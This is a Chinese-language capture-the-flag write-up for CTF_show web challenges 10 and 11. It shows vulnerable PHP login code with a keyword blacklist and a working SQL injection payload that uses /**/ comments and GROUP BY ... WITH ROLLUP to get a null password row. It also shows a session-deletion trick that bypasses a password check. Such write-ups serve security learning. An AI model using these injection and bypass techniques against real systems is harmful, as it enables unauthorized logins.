CTF_show平台 web题解 part2

web10

WITH ROLLUP 绕过

web10_1

点击取消键弹出源码下载：

web10_2

源码如下：

<?php
		$flag="";
        function replaceSpecialChar($strParam){
             $regex = "/(select|from|where|join|sleep|and|\s|union|,)/i";
             return preg_replace($regex,"",$strParam);
        }
        if (!$con)
        {
            die('Could not connect: ' . mysqli_error());
        }
		if(strlen($username)!=strlen(replaceSpecialChar($username))){
			die("sql inject error");
		}
		if(strlen($password)!=strlen(replaceSpecialChar($password))){
			die("sql inject error");
		}
		$sql="select * from user where username = '$username'";
		select * from user where username = 'admin'or 1=1 GROUP BY password WITH ROLLUP LIMIT 1 OFFSET 1
		$result=mysqli_query($con,$sql);
			if(mysqli_num_rows($result)>0){			//返回结果集中行的数目
					while($row=mysqli_fetch_assoc($result)){
						if($password==$row['password']){
							echo "登陆成功<br>";
							echo $flag;
						}
					 }
			}
?>

如果我们同时知道数据库中的username和password的话就可以通过，可问题是我们并不知道，所以就需要进行注入，自行构造。

mysql中的with rollup是用来在分组统计数据的基础上再进行统计汇总，用来得到group by的汇总信息；

web10_3

结果中将会多出一行，其中age列为null，count(*)为统计和。

web10_4

我们就是要通过with rollup使sql语句查询结果为null，然后不输入pwd使pwd为null就可以使$password==$row['password']

构建payload：'or/**/1=1/**/GROUP/**/BY/**/password/**/WITH/**/ROLLUP/**/LIMIT/**/1/**/OFFSET/**/1#

offset后面的值需要尝试才能找到pwd是null的行

参考文章

web11

题目给出源码：

<?php
        function replaceSpecialChar($strParam){
             $regex = "/(select|from|where|join|sleep|and|\s|union|,)/i";
             return preg_replace($regex,"",$strParam);
        }
        if(strlen($password)!=strlen(replaceSpecialChar($password))){
            die("sql inject error");
        }
        if($password==$_SESSION['password']){
            echo $flag;
        }else{
            echo "error";
        }
?>

输出flag的条件为：$password==$_SESSION['password']

password是由我们自己输入的，session中的password存储在本地，所以我们只需要输入空密码，并且将本地的session删除即可成功绕过。

ctf_show_web11_1